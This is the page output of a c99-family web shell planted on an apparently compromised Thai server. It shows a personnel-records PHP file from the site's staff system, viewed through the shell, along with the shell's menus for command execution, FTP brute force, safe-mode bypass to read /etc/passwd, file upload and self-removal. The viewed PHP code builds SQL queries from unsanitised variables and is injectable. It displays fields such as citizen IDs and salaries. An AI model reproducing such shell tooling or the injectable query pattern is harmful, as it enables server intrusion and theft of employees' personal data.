!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Dev/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailpersonalDev.php (16.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "dev_hrperson";
        
        
/**  Table  --> dev_hrpers  */
             
         
$query " SELECT *  FROM  dev_hreduhis   WHERE     perid ='$perid'  " ;
         
$result4 $dbObj->execQuery($query);
         
$rs4 $dbObj->fetchArray($result4);
        
         
$query " SELECT *  FROM dev_hrperson  WHERE   Teacher_code='$Teacher_code'  Or  perid='$perid'  ";
         
$result $dbObj->execQuery($query);
         
$rs $dbObj->fetchArray($result);
         
$Teacher_code $rs['Teacher_code'];
            
         
$query " SELECT *  FROM  personal_tb WHERE  Teacher_code ='$Teacher_code'  " ;
         
$result5 $dbObj->execQuery($query);
         
$rss5 $dbObj->fetchArray($result5);

    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลประวัติส่วนตัว - แก้ไขข้อมูลประวัติส่วนตัว</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="pc" name="pc" method="post" action="Edit_Fam_His.php?Teacher_code=<?=$Teacher_code;?>" enctype="multipart/form-data">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10" nowrap>
            <strong>
                <a href="index.php">หน้าหลัก</a></strong><strong> &raquo;
                <a href="FrmpersonalDev.php?perid=<?=$rs["perid"];?>">แก้ไขข้อมูลบุคลากร</a> &raquo;
                <a href="Show_Edu_History.php?perid=<?=$rs["perid"];?>&amp;qflag=1">ข้อมูลการศึกษา</a> &raquo;
                <a href="Show_Edu_History.php?perid=<?=$rs["perid"];?>&amp;qflag=2">ข้อมูลการลาศึกษา</a> &raquo;
                <a href="showTrainingCourse.php?perid=<?=$rs["perid"];?>">ข้อมูลการอบรม</a> &raquo;
                <a href="ExpertiseList.php?perid=<?=$rs["perid"];?>">ข้อมูลความเชี่ยวชาญ</a> &raquo;
            </strong>
            <span class="NOTE">ข้อมูลบุคลากร</span>
        </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
      </tr>
      <tr>
        <td height="150" align="center"><table width="95%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td width="76%"><table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#E4E4E4">
                  <tr bordercolor="#E7FAFE">
                    <td width="137" height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">เลขที่บัตรประชาชน</td>
                    <td bgcolor="#FFFFFF">:</td>
                    <td width="410" bgcolor="#FFFFFF"><?=citizenID_format($rs['id']);?></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ชื่อ-นามสกุล</td>
                    <td bgcolor="#FFFFFF">:</td>
                    <td bgcolor="#FFFFFF"><table width="100%" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td><?php
                  $sql 
" SELECT *  FROM  prefix   Where   prefixId='$rs[pcode]'  ";
                  
$result6 mysql_query($sql);
                  
$rs6 $dbObj->fetchArray($result6);
                echo  
$rs6['prefixName'];
                
?>
                          <? echo $rs['fname']; ?>&nbsp;&nbsp;<? echo $rs['lname']; ?></td>
                      </tr>
                    </table></td>
                  </tr>
                  <tr bordercolor="#FFFFFF">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">วันเกิด</td>
                    <td width="6" nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">
                      <?php 
                       $sday 
$rs[birthdate];
                       
$yearthai explode("-",$sday);
                       
$day =      intval($yearthai[2]);
                       
$month =  intval($yearthai[1]);
                       
$year =     intval($yearthai[0]+543);     
                       
//////////////////
                       //   $yearthai =  $day ;
                        
$m getThaiSubMonth($month);

                        echo (!empty(
$rs["birthdate"]) && $rs["birthdate"]!="0000-00-00")?"$day"." "."$m"." "."$year":"0000-00-00";
                    
?>
                    </td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">เพศ</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">
                        <?=($rs["sex"]==1)?"ชาย":"";?>
                        <?=($rs["sex"]==2)?"หญิง":"";?>
                    </td>
                  </tr>
                  <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" >วันที่บรรจุ</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"></a>
                    <?php 
                        $sday 
$rs[appointdate];
                        
$yearthai explode("-",$sday);
                        
$day =      intval($yearthai[2]);
                        
$month =  intval($yearthai[1]);
                        
$year =     intval($yearthai[0]+543);     
                          
//////////////////
                 //   $yearthai =  $day ;
                       
$m getThaiSubMonth($month);

                        echo (!empty(
$rs["appointdate"]) && $rs["appointdate"]!="0000-00-00")?"$day"." "."$m"." "."$year":"0000-00-00";
                    
?> 
                    </td>
                  </tr>
                  <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">วันที่ปฏิบัติงาน</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">
                        <?php 
                            $sday 
$rs[startdate];
                            
$yearthai explode("-",$sday);
                            
$day =      intval($yearthai[2]);
                            
$month =  intval($yearthai[1]);
                            
$year =     intval($yearthai[0]+543);     
                              
//////////////////
                     //   $yearthai =  $day ;
                           
$m getThaiSubMonth($month);
                            
                            echo (!empty(
$rs["startdate"]) && $rs["startdate"]!="0000-00-00")?"$day"." "."$m"." "."$year":"0000-00-00";
                        
?>
                    </td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">สถานภาพการปฏิบัติงาน</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">
                        <?php
                            $sql 
" SELECT *  FROM  dev_cfperson    Where    fperson ='$rs[fperson]'  ";
                            
$result7 mysql_query($sql);
                            
$rs7 mysql_fetch_array($result7) ;
                            echo  
$rs7['fpersonmn'] ;
                        
?> 
                    </td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">สถานการปฏิบัติงาน</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><?php
                  $sql 
" SELECT *  FROM  dev_status    Where   statusId ='$rs[statusId]'  ";
                  
$result8 mysql_query($sql);
                
$rs8 mysql_fetch_array($result8) ;
                echo  
$rs8['StatusTh'] ;
                
?></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ตำแหน่งเลขที่</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><? echo $rs['posid']; ?></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ตำแหน่ง</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td bgcolor="#FFFFFF">
                      
                      <?php
                  $sql4 
" SELECT *  FROM   dev_adlinepos    Where   adlineId ='$rs[poscode]'  ";
                  
$result4 mysql_query($sql4);
                
$rs4 mysql_fetch_array($result4) ;
                echo  
$rs4['adlineName'] ;
                
?>                           
                    </td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td align="right" valign="top" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ระดับ</td>
                    <td width="6" nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td bgcolor="#FFFFFF"><?php
                  $sql 
" SELECT *  FROM  dev_clevelpos     Where   levelcode  ='$rs[levelcode]'  ";
                  
$result5 mysql_query($sql);
                
$rs5 mysql_fetch_array($result5) ;
                echo  
$rs5['kplevel'] ;
                
                
?>                      </a></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">เงินเดือน</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><?=number_format($rs['salary']);?> บาท</td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ใบประกอบโรคศิลปะ</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><?php
                  $sql 
" SELECT *  FROM   dev_ccertificate   Where  cercode='$rs[cercode]'     ";
                  
$result11 mysql_query($sql);
                
$rs11 mysql_fetch_array($result11) ;
                echo  
$rs11['cername'] ;
                
?>&nbsp;&nbsp; เลขที่ <? echo $rs['cerid']; ?></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ลักษณะของตำแหน่ง</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">
                        <?php 
                            
if($rs["fposition"]=="1") echo "ระดับผู้บริหาร";
                            if(
$rs["fposition"]=="2") echo "หัวหน้าฝ่าย/หัวหน้างาน";
                            if(
$rs["fposition"]=="3") echo "ระดับปฏิบัติงาน";
                        
?>
                    </td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">หน่วยงานตาม จ.</td>
                    <td bgcolor="#FFFFFF">:</td>
                    <td bgcolor="#FFFFFF"><?php
                  $sql 
" SELECT *  FROM  dev_cdepartment     Where   deptcode ='$rs[deptcode]'  ";
                  
$result4 mysql_query($sql);
                
$rs4 mysql_fetch_array($result4) ;
                echo  
$rs4['longpre'] ; ?> &nbsp;
                <? echo $rs4['deptname'];?>
                </td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">หน่วยงานที่ปฏิบัติงานจริง</td>
                    <td bgcolor="#FFFFFF">:</td>
                    <td bgcolor="#FFFFFF">
                    <?php
                  $sql 
" SELECT *  FROM  dev_cdepartment     Where   deptcode ='$rs[tcode]'  ";
                  
$result5 mysql_query($sql);
                
$rs5 mysql_fetch_array($result5) ;
                echo  
$rs5['longpre'] ; ?> &nbsp;
                <? echo $rs5['deptname'];?>
                </td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">กลุ่มงาน/ฝ่าย/หน่วย</td>
                    <td bgcolor="#FFFFFF">:</td>
                    <td bgcolor="#FFFFFF">
                               <?php
                                 $strSQL3 
" SELECT * FROM   faculty_tb   Where   faculty_code ='$rs[workcode]'   ";
                                 
$result3 mysql_query($strSQL3);
                                 
$rs3 mysql_fetch_array($result3);
                                  echo  
$rs3['Faculty_name'];
                                
?>
                          </td>
                  </tr>
                  <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" >สัญญาการใช้ทุน</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">
                        <?=($rs["Dev_type"]=="Y")?"อยู่ระหว่างการใช้ทุน":"";?>
                        <?=($rs["Dev_type"]=="N")?"หมดระยะเวลาการใช้ทุนแล้ว":"";?>
                    </td>
                  </tr>
                  <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF" style="display:<?=($rs["Dev_type"]=="Y")?"":"none";?>">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" >อยู่ระหว่าง</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">
                      วันที่
                      <?php 
                        $sday 
$rs[schstartdate];
                        
$yearthai explode("-",$sday);
                        
$day =      intval($yearthai[2]);
                        
$month =  intval($yearthai[1]);
                        
$year =     intval($yearthai[0]+543);     
                          
//////////////////
                        //   $yearthai =  $day ;
                        
$m getThaiSubMonth($month);
                        echo (!empty(
$rs["schstartdate"]) && $rs["schstartdate"]!="0000-00-00")?"$day"." "."$m"." "."$year":"0000-00-00";
                        
?>
                        &nbsp;&nbsp;สิ้นสุด&nbsp;วันที่&nbsp;
                        <?php 
                            $sday 
$rs[schstopdate];
                            
$yearthai explode("-",$sday);
                            
$day =      intval($yearthai[2]);
                            
$month =  intval($yearthai[1]);
                            
$year =     intval($yearthai[0]+543);     
                              
//////////////////
                            //   $yearthai =  $day ;
                            
$m getThaiSubMonth($month);
                            
                            echo (!empty(
$rs["schstopdate"]) && $rs["schstopdate"]!="0000-00-00")?"$day"." "."$m"." "."$year":"0000-00-00";
                        
?>
                    </td>
                  </tr>
                  <tr bgcolor="#CEE6FF">
                    <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#CEE6FF">
                    <td height="20" bgcolor="#FFFFFF" align="center">&nbsp;</td>
                    <td height="20" bgcolor="#FFFFFF" align="center">&nbsp;</td>
                    <td height="20" bgcolor="#FFFFFF" align="left">&nbsp;</td>
                  </tr>
                 </table></td>
                <td width="24%" valign="top" align="center"><table width="150" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td><img src="<?=(is_file($personalPicPath.$rss5['Img1']))?$personalPicPath.$rss5['Img1']:(($rs["sex"]==1)?"../images/no_picture_male.jpg":"../images/no_picture_female.jpg");?>" width="150" height="170" /></td>
                  </tr>
                </table></td>
              </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0166 ]--